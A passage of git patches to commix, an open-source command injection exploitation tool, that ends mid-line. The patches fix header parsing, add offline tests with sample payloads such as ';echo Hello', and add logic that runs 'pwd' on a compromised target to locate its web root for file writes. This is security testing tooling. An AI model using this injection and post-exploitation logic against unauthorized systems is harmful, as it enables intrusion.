https://github.com/commixproject/commix/pull/1094) --- src/core/parse/request.py | 9 ++- src/utils/settings.py | 2 +- tests/test_api.py | 124 ++++++++++++++++++++++++++++++++++++++ tests/test_parameters.py | 37 ++++++++++++ 4 files changed, 169 insertions(+), 3 deletions(-) create mode 100644 tests/test_api.py diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 347802c7bc..636c78f859 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -230,8 +230,13 @@ def _parse_request(request, request_file): target["referer"] = referer_value if "https://" in referer_value: scheme = "https://" - if re.findall(r"(?i)" + settings.AUTHORIZATION + ":" + " (.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"(?i)" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() + # Read through the same helper as the fields above, rather than against a pattern of its own: + # unanchored and unescaped, as it was, the name matched anywhere in the line, so 'X-Authorization' + # was taken for this field - its credentials adopted as the ones to authenticate with, and the + # header itself dropped from the request, since what is read here is never added as an extra one. + auth_value = _extract_header_value(settings.AUTHORIZATION, line) + if auth_value is not None: + auth_provided = auth_value.split() if auth_provided: target["auth_type"] = auth_provided[0].lower() if target["auth_type"].lower() == settings.AUTH_TYPE.BASIC: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6f3ca052a5..abd9b32e0e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "299" +REVISION = "300" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_api.py b/tests/test_api.py new file mode 100644 index 0000000000..da07dfa46a --- /dev/null +++ b/tests/test_api.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import shutil +import socket +import tempfile +import unittest + +from tests._testutils import stage +from src.utils import api +from src.core.parse import cmdline as menu + +""" +Fail closed: the option logic is settled before anything is served, so a test of it that reaches for +the network is a broken test rather than a slow one. +""" +def _no_transport(*args, **kwargs): + raise RuntimeError("The API's option handling is exercised offline; no transport may be opened.") + +class _Offline(unittest.TestCase): + def setUp(self): + self.saved = (socket.socket, socket.create_connection) + socket.socket, socket.create_connection = _no_transport, _no_transport + self.directory = tempfile.mkdtemp(prefix="commix-api-") + self.task = api.Task("0123456789abcdef", self.directory) + + def tearDown(self): + socket.socket, socket.create_connection = self.saved + shutil.rmtree(self.directory, ignore_errors=True) + +class OptionNames(unittest.TestCase): + """ + Every spelling the command line takes answers to the same option, since the API is asked in + whichever of them the caller happens to know. + """ + def test_an_option_answers_to_its_store_and_to_its_flags(self): + for spelling in ("url", "--url", "-u"): + self.assertIsNotNone(api._option(spelling.lstrip("-")), spelling + " names no option") + self.assertEqual(api._option("url").dest, api._option("u").dest) + + def test_a_name_the_parser_does_not_know_names_nothing(self): + self.assertIsNone(api._option("not_an_option_of_any_kind")) + +class RefusedOptions(_Offline): + """ + The options a task may not be given. Three of these lists exist for different reasons, and the + first is the one that matters most: every option on it would act on the host serving the API + rather than on the target, so a task that could set one would be remote code execution wearing + the API's own clothes. + """ + def test_an_option_that_would_act_on_the_api_host_is_refused(self): + for name in sorted(api.REFUSED_OPTIONS): + refusal = self.task.set_option(name, "whatever") + self.assertIsNotNone(refusal, "'" + name + "' was accepted over the API") + self.assertIn("cannot be set over the API", refusal) + self.assertNotIn(name, [k for k, v in self.task.options.items() if v == "whatever"]) + + def test_an_option_the_server_settles_itself_is_refused(self): + for name in api.SERVER_OWNED_OPTIONS: + refusal = self.task.set_option(name, "whatever") + self.assertIsNotNone(refusal, "'" + name + "' was accepted over the API") + self.assertIn("settled by the server", refusal) + + def test_an_option_a_run_is_never_given_is_refused(self): + # Named rather than swept: the point is that the list is not empty and is actually consulted. + self.assertTrue(api.UNCARRIED_OPTIONS, "no option is listed as uncarried") + for name in api.UNCARRIED_OPTIONS: + if api._option(name) is None: + continue + self.assertIsNotNone(self.task.set_option(name, "whatever"), "'" + name + "' was accepted") + + def test_an_unknown_option_is_refused_by_name(self): + refusal = self.task.set_option("--not-an-option", "x") + self.assertIsNotNone(refusal) + self.assertIn("not-an-option", refusal) + +class AcceptedOptions(_Offline): + """ + What the API does take, and what it does with it. + """ + def test_an_ordinary_option_is_kept_where_the_run_reads_it(self): + self.assertIsNone(self.task.set_option("url", "http://target.invalid/x?a=1")) + self.assertEqual("http://target.invalid/x?a=1", self.task.options["url"]) + + def test_an_option_is_taken_by_its_flag_as_well_as_its_name(self): + self.assertIsNone(self.task.set_option("--level", "3")) + self.assertEqual(3, self.task.options["level"]) + + def test_a_value_the_parser_would_not_take_is_refused_here(self): + refusal = self.task.set_option("level", "three") + self.assertIsNotNone(refusal, "a non-numeric level was accepted") + self.assertIn("The option", refusal) + +class QueryReading(unittest.TestCase): + """ + What the handler reads off a request, settled without one being made. + """ + def test_a_value_is_read_as_what_it_is_written_as(self): + self.assertIs(True, api._typed("true")) + self.assertIs(False, api._typed("FALSE")) + self.assertEqual(3, api._typed("3")) + self.assertEqual("3.1", api._typed("3.1")) + self.assertEqual("ancst", api._typed("ancst")) + + def test_bounds_are_read_where_given_and_left_alone_where_not(self): + self.assertEqual((2, 9), api._bounds({"start": ["2"], "end": ["9"]})) + self.assertEqual((None, None), api._bounds({})) + self.assertEqual((None, None), api._bounds({"start": ["x"], "end": []})) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_parameters.py b/tests/test_parameters.py index ec069916f8..3488019eee 100644 --- a/tests/test_parameters.py +++ b/tests/test_parameters.py @@ -180,3 +180,40 @@ def test_a_placeholder_an_earlier_run_confirmed_is_taken_up_again(self): if __name__ == "__main__": unittest.main() + +class ReplacedValue(unittest.TestCase): + """ + Where the payload goes relative to the value the parameter arrived with. + + Behind it is what nearly every sink wants. A sink reading the value's own first byte is the + exception, and there the value has to go rather than sit in front of the payload - an + interpreter's two-argument open() handed a leading '|' runs what follows, while the same pipe with + a value before it is read as a filename and nothing runs at all. + """ + def setUp(self): + self.testable_value = settings.TESTABLE_VALUE + self.replace_value = settings.REPLACE_VALUE + self.prefix = menu.options.prefix + menu.options.prefix = None + settings.TESTABLE_VALUE = "127.0.0.1" + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + settings.REPLACE_VALUE = self.replace_value + menu.options.prefix = self.prefix + + def test_the_value_is_carried_in_front_of_the_payload_by_default(self): + settings.REPLACE_VALUE = False + payload, prefix = parameters.prefixes(";echo Hello", "") + self.assertTrue(payload.startswith("127.0.0.1"), repr(payload) + " drops the value") + + def test_the_payload_stands_alone_where_it_replaces_the_value(self): + settings.REPLACE_VALUE = True + payload, prefix = parameters.prefixes("|echo Hello", "") + self.assertEqual("|echo Hello", payload) + self.assertTrue(payload.startswith("|"), "the separator is not the value's first byte") + + def test_a_boundary_prefix_is_still_carried_when_the_value_is_replaced(self): + settings.REPLACE_VALUE = True + payload, prefix = parameters.prefixes(";echo Hello", "'") + self.assertEqual("';echo Hello", payload) From c56514bd9e7681614c5cb6cd244f3a9fa06d709c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 6 Nov 2026 06:18:41 +0200 Subject: [PATCH 0974/1023] Trivial update --- src/core/controller/controller.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 9ff97f698b..d4de6f11fb 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -820,6 +820,10 @@ def attempt_skip_testable_value(url, http_request_method, check_parameter): Proceed to the injection process for the appropriate parameter. """ def injection_process(url, check_parameter, http_request_method, filename, timesec, place): + # Every parameter starts with its value kept, whatever the one before it needed: the pass that + # replaces it is reached per parameter, and exploitation follows within this same call, so leaving + # the mode set would only decide how the parameters after this one are tested. + settings.REPLACE_VALUE = False # Named with '--param-filter': a parameter is tested only where it travels in one of the places # asked for, and nothing is said about the rest - naming them is saying which ones matter. if settings.PARAM_FILTER_PLACES and str(place).upper() not in settings.PARAM_FILTER_PLACES: diff --git a/src/utils/settings.py b/src/utils/settings.py index abd9b32e0e..06e4ba397e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "300" +REVISION = "301" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cd7780e57ce687d3c9f005199ac7659d1aa99e13 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 7 Nov 2026 08:46:34 +0200 Subject: [PATCH 0975/1023] Added retrieval of the web server document root from the target itself, affecting a run that reaches the file-based technique without `--web-root` --- src/core/controller/checks.py | 58 +++++++++++++++-- src/core/controller/controller.py | 5 +- src/core/controller/handler.py | 13 ++++ src/core/main.py | 1 + src/utils/settings.py | 11 +++- tests/test_checks.py | 64 +++++++++++++++++++ tests/test_request_authorization.py | 99 +++++++++++++++++++++++++++++ 7 files changed, 245 insertions(+), 6 deletions(-) create mode 100644 tests/test_request_authorization.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 289b514514..e3cd1b67f0 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -7135,6 +7135,54 @@ def web_root_from_leaked_path(url): return None +""" +Ask the target where it is serving from, rather than reading it off a list of the usual places. + +Where a technique whose output comes back is already confirmed, the directory the script runs in is +one command away, and the URL says how far under the document root that script sits - so the root is +what is left of the one with the other taken off its end. An answer the target gave about itself is +worth more than a candidate, the same as a leaked path is above; this one is asked for rather than +waited for. Where the two do not line up - an alias, a rewrite, a script reached by a path it is not +stored under - nothing is returned and the candidates are walked exactly as before. +""" +def web_root_from_target_cwd(url): + probe = settings.WEB_ROOT_PROBE + if probe is None or not url: + return None + cmd = settings.WIN_CURRENT_DIRECTORY if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_DIRECTORY + # Asked in the state it was armed in. The time-based technique runs between the two and leaves its + # own flag standing, and the answer to this one is read off the page, not timed - left set, the + # read is the time-related one and comes back empty however well the command itself ran. + time_related = settings.TIME_RELATED_ATTACK + try: + settings.TIME_RELATED_ATTACK = False + answer = probe(cmd) + except Exception: + return None + finally: + settings.TIME_RELATED_ATTACK = time_related + # Asked once and then spent. A root worked out from here empties the candidate list, so a write + # failing on it comes back through this - and an answer that was wrong the first time is wrong + # again, which would leave the same root being offered for as long as it keeps failing. Spent, + # the second pass falls through to the leaked path and the menu, as it would have without this. + settings.WEB_ROOT_PROBE = None + lines = [line.strip() for line in str(answer or "").splitlines() if line.strip()] + cwd = lines[0] if lines else "" + # A shell that could not run it answers with its own error rather than a path. + if not re.match(r"\A([A-Za-z]:)?[\\/]", cwd): + return None + native_separator = "\\" if "\\" in cwd else "/" + cwd = cwd.replace("\\", "/").rstrip("/") + # What the URL puts between the document root and the script - the script's own name dropped, + # since a directory URL has none and one that names a script is not part of the path it sits in. + below = re.sub(r"/[^/]*\Z", "", _urllib.parse.urlparse(url).path or "").rstrip("/") + if below and not cwd.endswith(below): + return None + root = cwd[:len(cwd) - len(below)] if below else cwd + if not root: + return None + return (root + "/").replace("/", native_separator) + """ Provide custom server's root directory """ @@ -7153,11 +7201,13 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon info_msg = "Trying '" + settings.WEB_ROOT + "' instead." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - leaked = web_root_from_leaked_path(url) if url else None - if leaked: - info_msg = "Retrieved the web server document root: '" + leaked + "'." + # Asked of the target first, where a confirmed technique can carry the question: what it + # answers about itself settles the root outright, and a leaked path only happens to be there. + retrieved = web_root_from_target_cwd(url) or (web_root_from_leaked_path(url) if url else None) + if retrieved: + info_msg = "Retrieved the web server document root: '" + retrieved + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.WEB_ROOT = leaked + settings.WEB_ROOT = retrieved settings.WEB_ROOT_CANDIDATES = [] else: # Said where the menu below is about to be put, not on every pass that walks the same diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index d4de6f11fb..905d493a4f 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1292,9 +1292,12 @@ def _accepts_dashless_retry(): # and is the problem itself, because this sink reads its first byte rather than the end of it. # Left set only where it confirmed something - a pass that found nothing would otherwise hand # the next parameter a value already replaced, and have it tested that way alone. + # Left alone where the user named a prefix of their own: that already stands in place of the + # value rather than behind it, so this pass would send the very same requests a second time + # and ask a question about something already settled. if not end_detection and checks.injection_techniques_status() is False and \ not settings.REPLACE_VALUE and settings.TESTABLE_VALUE and \ - _accepts_replaced_value_retry(): + not menu.options.prefix and _accepts_replaced_value_retry(): settings.REPLACE_VALUE = True _reset_web_root_detection() end_detection = _run_and_verify() diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 44bb7a7032..c94a56efd5 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -32,6 +32,7 @@ from src.core.controller import file_access from src.core.controller import registry_access from src.core.controller import enumeration +from src.core.controller import execution from src.core.techniques.tempfile_based import tfb_handler """ @@ -1597,6 +1598,18 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) done = bool(shell) or (no_result and i >= total) checks.injection_process(injection_type, technique, done=done, i=i, total=total) + # Armed, not fired: the boundary this technique was confirmed on is in hand here and + # nowhere near the file-based technique that needs the document root, so what can carry a + # command is kept for it to ask with - and only where the root is not already settled. + if shell and not settings.USER_APPLIED_WEB_ROOT and not settings.WEB_ROOT_SETTLED_ONCE: + # Neither an output file nor a baseline response time of its own: only the file-based + # technique writes one, and only the time-related ones measure the other - this is armed + # on the techniques that read their answer straight off the page, which need neither. + # + # 'results_based_injector' because of when it is called rather than what it is: the + # time-based technique has run by then and left its own flag standing, and the injector + # kept here reads the page back - handed the time-related argument list, it raises. + settings.WEB_ROOT_PROBE = execution.make_simple_execute_cmd(injector, separator, 0, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, 0, technique, "", results_based_injector=True) else: try: time.sleep(timesec) diff --git a/src/core/main.py b/src/core/main.py index 1edbcc15f4..98f884057a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -418,6 +418,7 @@ def init_injection(url): settings.WEB_ROOT_CANDIDATES = [] settings.WEB_ROOT_SETTLED_ONCE = False settings.WEB_ROOT_IS_GUESS = False + settings.WEB_ROOT_PROBE = None settings.WRITABLE_DIR_ATTEMPT_SAID = False settings.WEB_ROOT_CATEGORY_LABEL = "" settings.JWT_CHECKED = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 06e4ba397e..393ef3c443 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "301" +REVISION = "302" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1085,6 +1085,11 @@ class OS(object): # confirmed - a guess is worth offering first, not worth skipping the directory-choice menu for, # since it is wrong often enough that silently trusting it just delays finding that out. WEB_ROOT_IS_GUESS = False + +# Runs one command through a technique already confirmed on this parameter, set once that happens and +# called only where the document root is actually needed - a root worked out from the target's own +# answer costs a request, and a run never reaching the file-based technique should not pay for it. +WEB_ROOT_PROBE = None USER_APPLIED_TIMESEC = False USER_APPLIED_TMP_PATH = False @@ -1152,6 +1157,10 @@ class OS(object): HOSTNAME = "hostname" WIN_HOSTNAME = "echo %COMPUTERNAME%" +# The directory the script itself runs in - what the document root is worked back from +CURRENT_DIRECTORY = "pwd" +WIN_CURRENT_DIRECTORY = "echo %CD%" + # Check if Current user is privileged # Unix-like: root IS_ROOT = "echo $(id -u)" diff --git a/tests/test_checks.py b/tests/test_checks.py index 3c1892bf77..49a0d696c0 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -381,6 +381,70 @@ def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): # Nothing to measure it against leaves the margin read off the target alone. self.assertAlmostEqual(30.0, checks.current_delay_threshold(), places=2) + +class DocumentRootFromTheTarget(unittest.TestCase): + """ + Working the document root back from the directory the script says it runs in. + """ + def setUp(self): + self._os = settings.TARGET_OS + self._probe = settings.WEB_ROOT_PROBE + + def tearDown(self): + settings.TARGET_OS = self._os + settings.WEB_ROOT_PROBE = self._probe + + def arm(self, answer): + settings.WEB_ROOT_PROBE = lambda cmd: answer + + def test_the_url_depth_comes_off_the_end(self): + self.arm("/var/www/commix-testbed.com/public_html/scenarios/regular/GET") + self.assertEqual("/var/www/commix-testbed.com/public_html/", + checks.web_root_from_target_cwd("http://t/scenarios/regular/GET/classic.php?addr=1")) + + def test_a_script_in_the_root_itself_leaves_the_root(self): + self.arm("/var/www/html") + self.assertEqual("/var/www/html/", checks.web_root_from_target_cwd("http://t/classic.php")) + + def test_a_directory_url_counts_as_its_own_directory(self): + self.arm("/srv/app/admin") + self.assertEqual("/srv/app/", checks.web_root_from_target_cwd("http://t/admin/")) + + def test_a_path_the_url_does_not_end_in_is_not_guessed_at(self): + # An alias or a rewrite - the script is not stored under the path it was reached by, so the + # depth says nothing about where the root is. + self.arm("/opt/legacy/cgi") + self.assertIsNone(checks.web_root_from_target_cwd("http://t/scenarios/regular/GET/classic.php")) + + def test_an_error_instead_of_a_path_is_not_a_root(self): + for answer in ("sh: 1: pwd: not found", "", None, " ", "relative/path"): + self.arm(answer) + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + + def test_windows_keeps_its_own_separator(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.arm("C:\\AppServ\\www\\scenarios\\regular") + self.assertEqual("C:\\AppServ\\www\\", + checks.web_root_from_target_cwd("http://t/scenarios/regular/classic.php")) + + def test_the_probe_is_spent_once_it_has_been_asked(self): + # A root that fails is asked about again - the same answer twice over would keep handing back + # the root that just failed instead of moving on to the candidates. + self.arm("/var/www/html") + self.assertEqual("/var/www/html/", checks.web_root_from_target_cwd("http://t/a.php")) + self.assertIsNone(settings.WEB_ROOT_PROBE) + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a.php")) + + def test_nothing_is_asked_where_no_technique_armed_it(self): + settings.WEB_ROOT_PROBE = None + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + + def test_a_probe_that_raises_is_not_fatal(self): + def boom(cmd): + raise RuntimeError("no channel") + settings.WEB_ROOT_PROBE = boom + self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_request_authorization.py b/tests/test_request_authorization.py new file mode 100644 index 0000000000..0eaf33d834 --- /dev/null +++ b/tests/test_request_authorization.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import base64 +import shutil +import socket +import tempfile +import unittest + +from tests._testutils import stage +from src.utils import settings +from src.core.parse import cmdline as menu +from src.core.parse import request + +CREDENTIALS = "user:pw" +ENCODED = base64.b64encode(CREDENTIALS.encode()).decode() + +""" +Fail closed: a captured request is read before anything is sent, so a test of that reading which +reaches for the network is a broken test rather than a slow one. +""" +def _no_transport(*args, **kwargs): + raise RuntimeError("Reading a captured request is exercised offline; no transport may be opened.") + +class _Captured(unittest.TestCase): + def setUp(self): + self.saved_sockets = (socket.socket, socket.create_connection, socket.getaddrinfo) + socket.socket, socket.create_connection, socket.getaddrinfo = (_no_transport,) * 3 + self.saved_options = dict(vars(menu.options)) + self.saved_command_line = dict(request._command_line_options) + menu.options.scope = None + request._command_line_options.clear() + self.directory = tempfile.mkdtemp(prefix="commix-auth-") + + def tearDown(self): + socket.socket, socket.create_connection, socket.getaddrinfo = self.saved_sockets + vars(menu.options).clear() + vars(menu.options).update(self.saved_options) + request._command_line_options.clear() + request._command_line_options.update(self.saved_command_line) + shutil.rmtree(self.directory, ignore_errors=True) + + def parse(self, *headers): + path = os.path.join(self.directory, "captured.invalid.txt") + raw = "GET /review?x=1 HTTP/1.1\n" + "".join(line + "\n" for line in headers) + "\n" + with open(path, "w", encoding=settings.DEFAULT_CODEC) as handle: + handle.write(raw) + return request.parse_requests(path)[0] + +class AuthorizationField(_Captured): + """ + The 'Authorization' field of a captured request, read the way every other known field is. + + Matched anywhere in the line rather than at its start, as it was, the name was found inside + 'X-Authorization' too - so another header's credentials were adopted as the ones to authenticate + with, and that header never reached the request, since what is read here is not kept as an extra. + """ + def test_the_credentials_are_read_however_the_colon_is_spaced(self): + for line in ("Authorization: Basic " + ENCODED, + "Authorization:Basic " + ENCODED, + "Authorization:\tBasic " + ENCODED, + "authorization: Basic " + ENCODED): + with self.subTest(line=line): + target = self.parse("Host: asset.invalid", line) + self.assertEqual("basic", target["auth_type"]) + self.assertEqual(CREDENTIALS, target["auth_cred"]) + + def test_a_field_that_merely_ends_in_the_name_is_not_the_field(self): + for name in ("X-Authorization", "Proxy-Authorization", "My-Authorization"): + with self.subTest(name=name): + target = self.parse("Host: asset.invalid", name + ": Basic " + ENCODED) + self.assertIsNone(target["auth_type"], name + " was taken for the authorization field") + self.assertIsNone(target["auth_cred"]) + + def test_such_a_field_still_reaches_the_request_as_an_extra_header(self): + target = self.parse("Host: asset.invalid", "X-Authorization: Basic " + ENCODED, "X-Trace: keepme") + self.assertIn("X-Authorization", target["headers"] or "") + self.assertIn("X-Trace", target["headers"] or "") + + def test_the_field_itself_is_consumed_rather_than_sent_again(self): + target = self.parse("Host: asset.invalid", "Authorization: Basic " + ENCODED, "X-Trace: keepme") + self.assertNotIn("Authorization", target["headers"] or "") + self.assertIn("X-Trace", target["headers"] or "") + +if __name__ == "__main__": + unittest.main() From e9d38ed73ad1af76f4c831913e32e910151564be Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 8 Nov 2026 09:40:29 +0200 Subject: [PATCH 0976/1023] Fixed several issues regarding the retrieval of the web server document root, affecting the file-based technique against Windows targets and host-named roots --- src/core/controller/checks.py | 19 +++++++++++++- src/utils/settings.py | 17 ++++++++++--- tests/test_checks.py | 48 +++++++++++++++++++++++++++++++++++ 3 files changed, 79 insertions(+), 5 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index e3cd1b67f0..56f7aa0875 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -7126,12 +7126,29 @@ def web_root_from_leaked_path(url): markers = ["/" + name + "/" for name in settings.GENERIC_DOC_ROOT_DIRECTORY_NAMES] if parsed.hostname: markers.append("/" + parsed.hostname + "/") + # What the URL puts between the root and the script, kept for the fallback below. + below = re.sub(r"/[^/]*\Z", "", parsed.path or "").rstrip("/") for match in re.finditer(settings.DIRECTORY_REGEX, body or ""): path = match.group(0) + # A leaked path is written the target's own way - a drive letter and backslashes on Windows. + # Read in one spelling and handed back in the other, so what is returned is a path that target + # would recognise. + native_separator = "\\" if "\\" in path else "/" + drive = "" + if re.match(r"\A[A-Za-z]:", path): + drive, path = path[:2], path[2:] + path = path.replace("\\", "/") for marker in markers: if marker in path: - return path.split(marker)[0] + marker + return (drive + path.split(marker)[0] + marker).replace("/", native_separator) + # No document-root name in it and not the host's own: what the URL asked for is still on the + # end of it, and taking that off leaves the root, the same way the script's own directory does. + # Matched at the end rather than anywhere in it - a path merely carrying those names somewhere + # in the middle says nothing about where the root is, and one starting with them cuts to "/". + directory = re.sub(r"/[^/]*\Z", "", path) + if below and directory.endswith(below) and len(directory) > len(below): + return (drive + directory[:len(directory) - len(below)] + "/").replace("/", native_separator) return None diff --git a/src/utils/settings.py b/src/utils/settings.py index 393ef3c443..35227f8246 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "302" +REVISION = "303" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1767,7 +1767,16 @@ def ascii_transparent_encoding(name): # Whitespace, angle brackets and quotes cannot be in a path worth reading back, and letting them in # is what turns a page that merely mentions a path in its prose into a match running across the # markup around it - tags, newlines and all - rather than the path itself. -DIRECTORY_REGEX = r'(?:/[^/\s<>"\x27]+)+?/\w+\.\w+' +# +# Either separator, and a drive letter where one is written: a Windows target names its own paths +# with backslashes, and a pattern spelled in forward slashes alone never matches one - leaving the +# only route that reads a root off the target's own output dead on the platform whose candidate +# lists are the thinnest. +# +# Greedy, so the whole path is taken: a directory with a dot in its name - a host-named one above +# all, which is the very thing the hostname is matched against - otherwise ends the match where +# that name does, leaving a root to be cut out of a path stopping short of it. +DIRECTORY_REGEX = r'(?:[A-Za-z]:)?(?:[\\/][^\\/\s<>"\x27]+)+[\\/]\w+\.\w+' # Directory names a leaked absolute path (an error message naming the running script's own path is # the most common way) is cut at, the same document-root name the target itself is likely using. @@ -2720,9 +2729,9 @@ class END_LINE: # independent of, and wider than, the common-location lists above. BRUTE_DOC_ROOT_PREFIXES = { OS.WINDOWS: ("C:\\inetpub\\wwwroot", "C:\\xampp\\htdocs", "C:\\wamp\\www", "C:\\wamp64\\www", "C:\\laragon\\www", "C:\\Program Files\\Apache Group\\Apache2\\htdocs", "C:\\inetpub\\vhosts\\" + DOC_ROOT_TARGET_MARK), - OS.UNIX: ("/var/www", "/var/www/" + DOC_ROOT_TARGET_MARK, "/var/www/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/html", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/srv/www", "/srv/http", "/usr/share/nginx/html", "/opt/lampp/htdocs"), + OS.UNIX: ("/var/www", "/var/www/" + DOC_ROOT_TARGET_MARK, "/var/www/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/virtual/" + DOC_ROOT_TARGET_MARK, "/var/www/clients/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/clients/virtual/" + DOC_ROOT_TARGET_MARK, "/var/www/html", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/srv/www", "/srv/http", "/usr/share/nginx/html", "/opt/lampp/htdocs", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), } -BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "public", "public_html", "web", "www", "site", "data") +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # The candidate directories still untried from the last directory-choice menu, nearest first - the # one commix is already using is not in it, so a write failure pops straight to the next untried one. diff --git a/tests/test_checks.py b/tests/test_checks.py index 49a0d696c0..bf455ca8a1 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -382,6 +382,54 @@ def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): self.assertAlmostEqual(30.0, checks.current_delay_threshold(), places=2) +class DocumentRootFromALeakedPath(unittest.TestCase): + """ + Cutting a root out of an absolute path the target printed about itself. + """ + def root(self, body, url): + class _Response(object): + def read(self): + return body.encode() + original = checks.get_response, checks.decode_page_body + checks.get_response = lambda _url: _Response() + checks.decode_page_body = lambda raw, response: raw.decode() + try: + return checks.web_root_from_leaked_path(url) + finally: + checks.get_response, checks.decode_page_body = original + + def test_a_generic_name_is_what_it_is_cut_at(self): + # Cut at "/www/", which is one of those names itself - not at the deeper "/html/", which is not. + self.assertEqual("/var/www/", + self.root("Warning: in /var/www/html/a/b.php on line 2", "http://t/a/b.php")) + + def test_the_first_generic_name_in_the_list_wins(self): + self.assertEqual("/srv/htdocs/", + self.root("Warning: /srv/htdocs/app/b.php", "http://t/app/b.php")) + + def test_the_host_names_its_own_root(self): + self.assertEqual("/srv/t.example/", + self.root("Warning: /srv/t.example/a/b.php", "http://t.example/a/b.php")) + + def test_the_url_path_cuts_one_with_no_generic_name_in_it(self): + self.assertEqual("/opt/app/current/", + self.root("Warning: /opt/app/current/scenarios/GET/classic.php on line 2", + "http://t/scenarios/GET/classic.php")) + + def test_a_windows_path_keeps_its_drive_and_separators(self): + self.assertEqual("C:\\inetpub\\wwwroot\\", + self.root("Warning: C:\\inetpub\\wwwroot\\a\\b.php on line 2", "http://t/a/b.php")) + + def test_nothing_resembling_a_path_gives_nothing(self): + self.assertIsNone(self.root("<html>no paths here</html>", "http://t/a/b.php")) + + def test_a_path_that_does_not_end_where_the_url_does_is_left_alone(self): + # "/a" sits in the middle of it, which says nothing about where the root is. + self.assertIsNone(self.root("Warning: /opt/a/deeper/elsewhere.php", "http://t/a/b.php")) + + def test_a_url_path_filling_the_whole_leaked_path_cuts_to_nothing(self): + self.assertIsNone(self.root("Warning: /a/b.php on line 2", "http://t/a/b.php")) + class 